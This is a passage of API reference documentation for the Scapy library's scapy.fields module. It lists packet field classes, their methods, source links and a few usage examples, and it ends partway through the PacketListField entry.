class scapy.fields.ByteEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2737-L2740]

	Bases: EnumField[int]






	
class scapy.fields.ByteEnumKeysField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2892-L2897]

	Bases: ByteEnumField

ByteEnumField that picks valid values when fuzzed.


	
randval() → RandEnumKeys[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2895-L2897]

	








	
class scapy.fields.ByteField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1056-L1059]

	Bases: Field[int, int]






	
class scapy.fields.CharEnumField(name: str, default: str, enum: Dict[str, str] | Tuple[Callable[[str], str], Callable[[str], str]], fmt: str = '1s')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2643-L2664]

	Bases: EnumField[str]


	
any2i_one(pkt: Packet | None, x: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2657-L2664]

	








	
class scapy.fields.ConditionalField(fld: AnyField, cond: Callable[[Packet], bool])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L376-L428]

	Bases: _FieldContainer


	
addfield(pkt: Packet, s: bytes, val: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L419-L424]

	




	
any2i(pkt: Packet | None, x: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L391-L404]

	




	
cond

	




	
fld

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L412-L417]

	




	
i2h(pkt: Packet | None, val: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L406-L410]

	








	
class scapy.fields.DestField(name: str, default: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L765-L790]

	Bases: Field[str, bytes]


	
classmethod bind_addr(layer: Type[Packet], addr: str, **condition: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L785-L790]

	




	
bindings: Dict[Type[Packet], Tuple[str, Any]] = {<class 'scapy.layers.llmnr.LLMNRQuery'>: [('224.0.0.252', {'dport': 5355})], <class 'scapy.layers.llmnr.LLMNRResponse'>: [('224.0.0.252', {'dport': 5355})]}

	




	
defaultdst

	




	
dst_from_pkt(pkt: Packet) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L774-L783]

	








	
class scapy.fields.DestIP6Field(name: str, default: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1035-L1053]

	Bases: IP6Field, DestField


	
bindings: Dict[Type[Packet], Tuple[str, Any]] = {<class 'scapy.contrib.ospf.OSPFv3_Hdr'>: [('ff02::5', {})], <class 'scapy.layers.inet.UDP'>: [('ff02::fb', {'dport': 5353}), ('ff02::66', {'dport': 2029})], <class 'scapy.layers.llmnr.LLMNRQuery'>: [('FF02:0:0:0:0:0:1:3', {'dport': 5355})], <class 'scapy.layers.llmnr.LLMNRResponse'>: [('FF02:0:0:0:0:0:1:3', {'dport': 5355})]}

	




	
i2h(pkt: Packet | None, x: str | Net6 | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1049-L1053]

	




	
i2m(pkt: Packet | None, x: str | Net6 | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1043-L1047]

	








	
class scapy.fields.Emph(fld: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L318-L332]

	Bases: _FieldContainer

Empathize sub-layer for display


	
fld

	








	
class scapy.fields.EnumField(name: str, default: I | None, enum: Dict[I, str] | Dict[str, I] | List[str] | DADict[I, str] | Type[Enum] | Tuple[Callable[[I], str], Callable[[str], I]], fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2639-L2640]

	Bases: _EnumField[I]


	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.FCSField(*args: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L751-L762]

	Bases: TrailerField

A FCS field that gets appended at the end of the packet (not layer).


	
fld

	




	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L760-L762]

	








	
class scapy.fields.Field(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L140-L301]

	Bases: Generic[I, M]

For more information on how this works, please refer to the
‘Adding new protocols’ chapter in the online documentation:

https://scapy.readthedocs.io/en/stable/build_dissect.html


	
addfield(pkt: Packet, s: bytes, val: I | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L227-L242]

	Add an internal value to a string

Copy the network representation of field val (belonging to layer
pkt) to the raw string packet s, and return the new string packet.






	
any2i(pkt: Packet | None, x: Any) → I | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L217-L220]

	Try to understand the most input values possible and make an internal value from them






	
copy() → Field[I, M][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L277-L279]

	




	
default

	




	
do_copy(x: I) → I[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L257-L267]

	




	
fmt

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, I][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L244-L255]

	Extract an internal value from a string

Extract from the raw packet s the field value belonging to layer
pkt.

Returns a two-element list,
first the raw packet string after having removed the extracted field,
second the extracted field itself in internal representation.






	
h2i(pkt: Packet | None, x: Any) → I[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L193-L196]

	Convert human value to internal value






	
holds_packets = 0

	




	
i2count(pkt: Packet | None, x: I) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L187-L191]

	Convert internal value to a number of elements usable by a FieldLenField.
Always 1 except for list fields






	
i2h(pkt: Packet | None, x: I) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L198-L201]

	Convert internal value to human value






	
i2len(pkt: Packet, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L177-L185]

	Convert internal value to a length usable by a FieldLenField






	
i2m(pkt: Packet | None, x: I | None) → M[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L208-L215]

	Convert internal value to machine value






	
i2repr(pkt: Packet | None, x: I) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L222-L225]

	Convert internal value to a nice representation






	
islist = 0

	




	
ismutable = False

	




	
m2i(pkt: Packet | None, x: M) → I[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L203-L206]

	Convert machine value to internal value






	
name

	




	
owners: List[Type[Packet]]

	




	
randval() → VolatileValue[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L281-L301]

	Return a volatile object whose value is both random and suitable for this field






	
register_owner(cls: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L173-L175]

	




	
struct

	




	
sz: int

	








	
exception scapy.fields.FieldAttributeException[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1193-L1194]

	Bases: Scapy_Exception






	
class scapy.fields.FieldLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = 'H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function FieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2175-L2209]

	Bases: Field[int, int]


	
adjust

	




	
count_of

	




	
i2m(pkt: Packet | None, x: int | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2193-L2209]

	




	
length_of

	








	
class scapy.fields.FieldListField(name: str, default: List[AnyField] | None, field: AnyField, length_from: Callable[[Packet], int] | None = None, count_from: Callable[[Packet], int] | None = None, max_count: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2081-L2172]

	Bases: Field[List[Any], List[Any]]


	
addfield(pkt: Packet, s: bytes, val: List[Any] | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2127-L2136]

	




	
any2i(pkt: Packet | None, x: List[Any]) → List[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2113-L2118]

	




	
count_from

	




	
field

	




	
getfield(pkt: Packet, s: bytes) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2138-L2172]

	




	
i2count(pkt: Packet | None, val: List[Any]) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2103-L2107]

	




	
i2len(pkt: Packet, val: List[Any]) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2109-L2111]

	




	
i2repr(pkt: Packet | None, x: List[Any]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2120-L2125]

	




	
islist = 1

	




	
length_from

	




	
max_count

	








	
exception scapy.fields.FieldValueRangeException[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1185-L1186]

	Bases: Scapy_Exception






	
class scapy.fields.FixedPointField(name: str, default: int, size: int, frac_bits: int = 16)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3320-L3349]

	Bases: BitField


	
any2i(pkt: Packet | None, val: float | None) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3328-L3334]

	




	
frac_bits

	




	
i2h(pkt: Packet | None, val: int | None) → EDecimal | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3336-L3345]

	




	
i2repr(pkt: Packet | None, val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3347-L3349]

	








	
class scapy.fields.FlagValue(value: List[str] | int | str, names: List[str] | str)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2966-L3124]

	Bases: object


	
copy() → FlagValue[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3122-L3124]

	




	
flagrepr() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3055-L3061]

	




	
multi

	




	
names

	




	
value

	








	
class scapy.fields.FlagValueIter(flagvalue: FlagValue)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2939-L2963]

	Bases: object


	
cursor

	




	
flagvalue

	




	
next() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2952-L2961]

	








	
class scapy.fields.FlagsField(name: str, default: int | FlagValue | None, size: int, names: List[str] | str | Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3127-L3222]

	Bases: _BitField[Optional[Union[int, FlagValue]]]

Handle Flag type field

Make sure all your flags have a label


	Example (list):
	>>> from scapy.packet import Packet
>>> class FlagsTest(Packet):
        fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])]  # noqa: E501
>>> FlagsTest(flags=9).show2()
###[ FlagsTest ]###
  flags     = f0+f3






	Example (str):
	>>> from scapy.packet import Packet
>>> class TCPTest(Packet):
        fields_desc = [
            BitField("reserved", 0, 7),
            FlagsField("flags", 0x2, 9, "FSRPAUECN")
        ]
>>> TCPTest(flags=3).show2()
###[ FlagsTest ]###
  reserved  = 0
  flags     = FS







	Example (dict):
	>>> from scapy.packet import Packet
>>> class FlagsTest2(Packet):
        fields_desc = [
            FlagsField("flags", 0x2, 16, {
                0x0001: "A",
                0x0008: "B",
            })
        ]














	Parameters:

	
	name – field’s name


	default – default value for the field


	size – number of bits in the field (in bits). if negative, LE


	names – (list or str or dict) label for each flag
If it’s a str or a list, the least Significant Bit tag’s name
is written first.









	
any2i(pkt: Packet | None, x: Any) → FlagValue | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3201-L3203]

	




	
i2h(pkt: Packet | None, x: Any) → FlagValue | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3209-L3211]

	




	
i2repr(pkt: Packet | None, x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3213-L3222]

	




	
ismutable = True

	




	
m2i(pkt: Packet | None, x: int) → FlagValue | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3205-L3207]

	




	
names

	








	
class scapy.fields.IEEEDoubleField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1425-L1428]

	Bases: Field[int, int]






	
class scapy.fields.IEEEFloatField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1419-L1422]

	Bases: Field[int, int]






	
class scapy.fields.IP6Field(name: str, default: str | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L942-L998]

	Bases: Field[Optional[Union[str, Net6]], bytes]


	
any2i(pkt: Packet | None, x: str | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L978-L980]

	




	
h2i(pkt: Packet | None, x: str | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L947-L962]

	




	
i2h(pkt: Packet | None, x: str | Net6 | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L964-L966]

	




	
i2m(pkt: Packet | None, x: str | Net6 | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L968-L972]

	




	
i2repr(pkt: Packet | None, x: str | Net6 | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L982-L994]

	




	
m2i(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L974-L976]

	




	
randval() → RandIP6[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L996-L998]

	








	
class scapy.fields.IP6PrefixField(name: str, default: Tuple[str, int], wordbytes: int = 1, length_from: Callable[[Packet], int] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3463-L3481]

	Bases: _IPPrefixFieldBase






	
class scapy.fields.IPField(name: str, default: str | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L842-L901]

	Bases: Field[Union[str, Net], bytes]


	
any2i(pkt: Packet | None, x: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L890-L892]

	




	
h2i(pkt: Packet | None, x: AnyStr | List[AnyStr]) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L847-L862]

	




	
i2h(pkt: Packet | None, x: str | Net | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L864-L866]

	




	
i2m(pkt: Packet | None, x: str | Net | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L880-L884]

	




	
i2repr(pkt: Packet | None, x: str | Net) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L894-L897]

	




	
m2i(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L886-L888]

	




	
randval() → RandIP[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L899-L901]

	




	
resolve(x: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L868-L878]

	








	
class scapy.fields.IPPrefixField(name, default, wordbytes=1, length_from=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3443-L3460]

	Bases: _IPPrefixFieldBase






	
class scapy.fields.IntEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2759-L2762]

	Bases: EnumField[int]






	
class scapy.fields.IntEnumKeysField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2908-L2913]

	Bases: IntEnumField

IntEnumField that picks valid values when fuzzed.


	
randval() → RandEnumKeys[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2911-L2913]

	








	
class scapy.fields.IntField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1341-L1344]

	Bases: Field[int, int]






	
class scapy.fields.LE3BytesEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2783-L2797]

	Bases: LEThreeBytesField, _EnumField[int]


	
any2i(pkt: Packet | None, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2791-L2793]

	




	
i2repr(pkt: Packet | None, x: Any) → List[str] | str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2795-L2797]

	




	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.LEFieldLenField(name: str, default: Optional[Any], length_of: Optional[str] = None, fmt: str = '<H', count_of: Optional[str] = None, adjust: Callable[[Packet, int], int] = <function LEFieldLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2919-L2936]

	Bases: FieldLenField






	
class scapy.fields.LEIntEnumField(name: str, default: int, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2771-L2774]

	Bases: EnumField[int]






	
class scapy.fields.LEIntField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1353-L1356]

	Bases: Field[int, int]






	
class scapy.fields.LELongEnumField(name: str, default: int, enum: Dict[int, str] | List[str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2731-L2734]

	Bases: EnumField[int]






	
class scapy.fields.LELongField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1395-L1398]

	Bases: LongField






	
class scapy.fields.LEMACField(name: str, default: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L832-L839]

	Bases: MACField


	
i2m(pkt: Packet | None, x: str | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L833-L835]

	




	
m2i(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L837-L839]

	








	
class scapy.fields.LEShortEnumField(name: str, default: int, enum: Dict[int, str] | List[str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2725-L2728]

	Bases: EnumField[int]






	
class scapy.fields.LEShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1323-L1326]

	Bases: Field[int, int]






	
class scapy.fields.LESignedIntField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1359-L1362]

	Bases: Field[int, int]






	
class scapy.fields.LESignedLongField(name: str, default: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1401-L1404]

	Bases: Field[int, int]






	
class scapy.fields.LESignedShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1329-L1332]

	Bases: Field[int, int]






	
class scapy.fields.LEThreeBytesField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1095-L1106]

	Bases: ByteField


	
addfield(pkt: Packet, s: bytes, val: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1100-L1102]

	




	
getfield(pkt: Packet | None, s: bytes) → Tuple[bytes, int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1104-L1106]

	








	
scapy.fields.LEX3BytesField(*args: Any, **kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1115-L1121]

	




	
class scapy.fields.LSBExtendedField(name: str, default: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3985-L3989]

	Bases: BitExtendedField






	
class scapy.fields.LenField(name: str, default: ~typing.Any | None, fmt: str = 'H', adjust: ~typing.Callable[[int], int] = <function LenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2271-L2291]

	Bases: Field[int, int]

If None, will be filled with the size of the payload


	
adjust

	




	
i2m(pkt: Packet | None, x: int | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2282-L2291]

	








	
class scapy.fields.LongField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1383-L1386]

	Bases: Field[int, int]






	
class scapy.fields.MACField(name: str, default: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L793-L829]

	Bases: Field[Optional[str], bytes]


	
any2i(pkt: Packet | None, x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L812-L816]

	




	
i2m(pkt: Packet | None, x: str | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L798-L806]

	




	
i2repr(pkt: Packet | None, x: str | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L818-L825]

	




	
m2i(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L808-L810]

	




	
randval() → RandMAC[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L827-L829]

	








	
class scapy.fields.MSBExtendedField(name: str, default: Any | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3992-L3996]

	Bases: BitExtendedField






	
exception scapy.fields.MaximumItemsCount[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1189-L1190]

	Bases: Scapy_Exception






	
class scapy.fields.MayEnd(fld: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L335-L358]

	Bases: _FieldContainer

Allow packet dissection to end after the dissection of this field
if no bytes are left.

A good example would be a length field that can be 0 or a set value,
and where it would be too annoying to use multiple ConditionalFields

Important note: any field below this one MUST default
to an empty value, else the behavior will be unexpected.


	
fld

	








	
class scapy.fields.MultiEnumField(name: str, default: int, enum: Dict[I, Dict[I, str]], depends_on: Callable[[Packet | None], I], fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2849-L2850]

	Bases: _MultiEnumField[int], EnumField[int]


	
depends_on

	




	
i2s_multi

	




	
s2i_all: Dict[str, I]

	




	
s2i_multi: Dict[I, Dict[str, I]]

	








	
class scapy.fields.MultiFlagsEntry(short, long)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py]

	Bases: tuple


	
long

	Alias for field number 1






	
short

	Alias for field number 0










	
class scapy.fields.MultiFlagsField(name: str, default: Set[str], size: int, names: Dict[int, Dict[int, MultiFlagsEntry]], depends_on: Callable[[Packet | None], int])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3228-L3317]

	Bases: _BitField[Set[str]]


	
any2i(pkt: Packet | None, x: Any) → Set[str][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3243-L3268]

	




	
depends_on

	




	
i2m(pkt: Packet | None, x: Set[str] | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3270-L3285]

	




	
i2repr(pkt: Packet | None, x: Set[str]) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3304-L3317]

	




	
m2i(pkt: Packet | None, x: int) → Set[str][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3287-L3302]

	




	
names

	








	
class scapy.fields.MultipleTypeField(flds: List[Tuple[Field[Any, Any], Any, str] | Tuple[Field[Any, Any], Any]], dflt: Field[Any, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L431-L617]

	Bases: _FieldContainer

MultipleTypeField are used for fields that can be implemented by
various Field subclasses, depending on conditions on the packet.

It is initialized with flds and dflt.


	Parameters:

	
	dflt – is the default field type, to be used when none of the
conditions matched the current packet.


	flds – is a list of tuples (fld, cond) or (fld, cond, hint)
where fld if a field type, and cond a “condition” to
determine if fld is the field type that should be used.








cond is either:


	a callable cond_pkt that accepts one argument (the packet) and
returns True if fld should be used, False otherwise.


	a tuple (cond_pkt, cond_pkt_val), where cond_pkt is the same
as in the previous case and cond_pkt_val is a callable that
accepts two arguments (the packet, and the value to be set) and
returns True if fld should be used, False otherwise.




See scapy.layers.l2.ARP (type “help(ARP)” in Scapy) for an example of
use.


	
addfield(pkt: Packet, s: bytes, val: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L563-L566]

	




	
any2i(pkt: Packet | None, val: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L568-L571]

	




	
default

	




	
dflt

	




	
property fld: Field[Any, Any]

	




	
flds

	




	
get_fields_list() → List[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L610-L612]

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L556-L561]

	




	
h2i(pkt: Packet | None, val: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L573-L576]

	




	
hints

	




	
i2h(pkt: Packet, val: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L578-L584]

	




	
i2len(pkt: Packet, val: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L591-L594]

	




	
i2m(pkt: Packet | None, val: Any | None) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L586-L589]

	




	
i2repr(pkt: Packet | None, val: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L596-L602]

	




	
name

	




	
register_owner(cls: Type[Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L604-L608]

	








	
class scapy.fields.NBytesField(name: str, default: int | None, sz: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1124-L1165]

	Bases: Field[int, List[int]]


	
addfield(pkt: Packet | None, s: bytes, val: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1154-L1156]

	




	
getfield(pkt: Packet | None, s: bytes) → Tuple[bytes, int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1158-L1161]

	




	
i2m(pkt: Packet | None, x: int | None) → List[int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1129-L1137]

	




	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1148-L1152]

	




	
m2i(pkt: Packet | None, x: List[int] | int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1139-L1146]

	




	
randval() → RandNum[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1163-L1165]

	








	
class scapy.fields.NetBIOSNameField(name: str, default: bytes, length: int = 31)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1935-L1964]

	Bases: StrFixedLenField


	
i2m(pkt: Packet | None, y: bytes | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1940-L1954]

	




	
m2i(pkt: Packet | None, x: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1956-L1964]

	








	
class scapy.fields.OByteField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1069-L1072]

	Bases: ByteField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1070-L1072]

	








	
class scapy.fields.OUIField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3688-L3701]

	Bases: X3BytesField

A field designed to carry a OUI (3 bytes)


	
i2repr(pkt: Packet | None, val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3693-L3701]

	








	
class scapy.fields.ObservableDict(*args: Dict[int, str], **kw: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L101-L129]

	Bases: Dict[int, str]

Helper class to specify a protocol extendable for runtime modifications


	
observe(observer: _EnumField[Any]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L111-L113]

	




	
update(anotherDict)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L127-L129]

	








	
class scapy.fields.PacketField(name: str, default: Optional[K], pkt_cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1592-L1596]

	Bases: _PacketFieldSingle[BasePacket]


	
randval() → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1593-L1596]

	








	
class scapy.fields.PacketLenField(name: str, default: Packet, cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1599-L1626]

	Bases: _PacketFieldSingle[Optional[BasePacket]]


	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, BasePacket | None][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1612-L1626]

	




	
length_from

	








	
class scapy.fields.PacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1629-L1864]

	Bases: _PacketField[List[BasePacket]]

PacketListField represents a list containing a series of Packet instances
that might occur right in the middle of another Packet field.
This field type may also be used to indicate that a series of Packet
instances have a sibling semantic instead of a parent/child relationship
(i.e. a stack of layers). All elements in PacketListField have current
packet referenced in parent field.


	
